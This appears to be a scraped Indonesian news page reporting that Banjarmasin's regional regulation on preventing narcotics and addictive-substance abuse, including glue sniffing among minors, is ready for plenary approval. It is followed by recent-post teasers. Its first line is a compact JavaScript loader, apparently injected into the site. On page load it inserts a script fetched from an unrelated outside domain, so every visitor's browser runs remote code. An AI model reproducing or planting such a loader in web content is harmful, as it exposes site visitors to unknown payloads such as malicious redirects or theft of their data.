(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Perda Penyalahgunaan Narkotika dan Zat Adiktif Lain Siap Diparipurnakan


BANJARMASIN, Perda Fasilitasi Pencegahan Penyalahgunaan Narkotika dan Zat Adiktif Lainnya sudah memasuki garis akhir, dalam artian isi perda yang ada telah dikoreksi dari fasilitasi provinsi.

Dijelaskan oleh Kasubag Perundang-undangan Sekdakot Banjarmasin Jefri Fransyah, bahwa dari hasil fasilitasi sebelumnya masih ada beberapa pasal yang harus disesuikan dan dikaji kembali.
Adalah isi pasal 10 ayat 1 dan 2 yang dikaji kembali. Serta pasal 2, 6,7, 9, dan 12 yang perlu diberi sedikit penambahan penjelasan. “Semua sudah clear, tinggal diparipurnakan untuk ditetapkan menjadi perda,” jelas Jefri.

Beberapa hal yang dikoreksi adalah mengenai pasal-pasal yang dimintai kejelasan oleh pihak provinsi. “Misalnya pembentukan satgas, dimintai kejelasan satgas itu apa. Penjelasan mengenai bagaimana satgas itu bekerja, bentuk-bentuk pelaksaan dari penangan satgas, itu dijelaskan,” ungkap Jefri.

Untuk sanksi bagi pelanggar perda, tentu akan lebih rendah dari sanksi undang-undang (UU) baik dari kurungan dan dendanya. Untuk sanksi perda terdiri dari sanksi-sanksi yang pelanggarnnya belum diatur di dalam UU.

Semisal jenis obat-obatan yang tidak termasuk di dalam golongan narkotika, seperti contohnya lem. “Nah kan lem barang legal, penyalahgunaannya itu tidak diatur di UU, dengan perda ini kita bisa mengenakan,” bebernya.

Ketua Pansus, Asmad, yang juga menjabat Ketua Komisi III DPRD Banjarmasin menambahkan perda ini dikhusukan bagi pihak-pihak di bawah umur yang berfokus pada pencegahan dan rehabilitasi. “Jadi kalau ada yang terkena sanksi, didampingi juga, otomatis pasti ada tindakan. Kewenangannya di kepolisian kan, itu pendampingannya kalau di bawah umurc yapemerintah daerah, atau dinas-dinas terkait,” tuturnya.(mario)

Reporter:Mario
Editor:Chell

Desy Arfianty

Recent Posts

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

2 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

3 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

19 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

19 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

20 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

21 jam ago

This website uses cookies.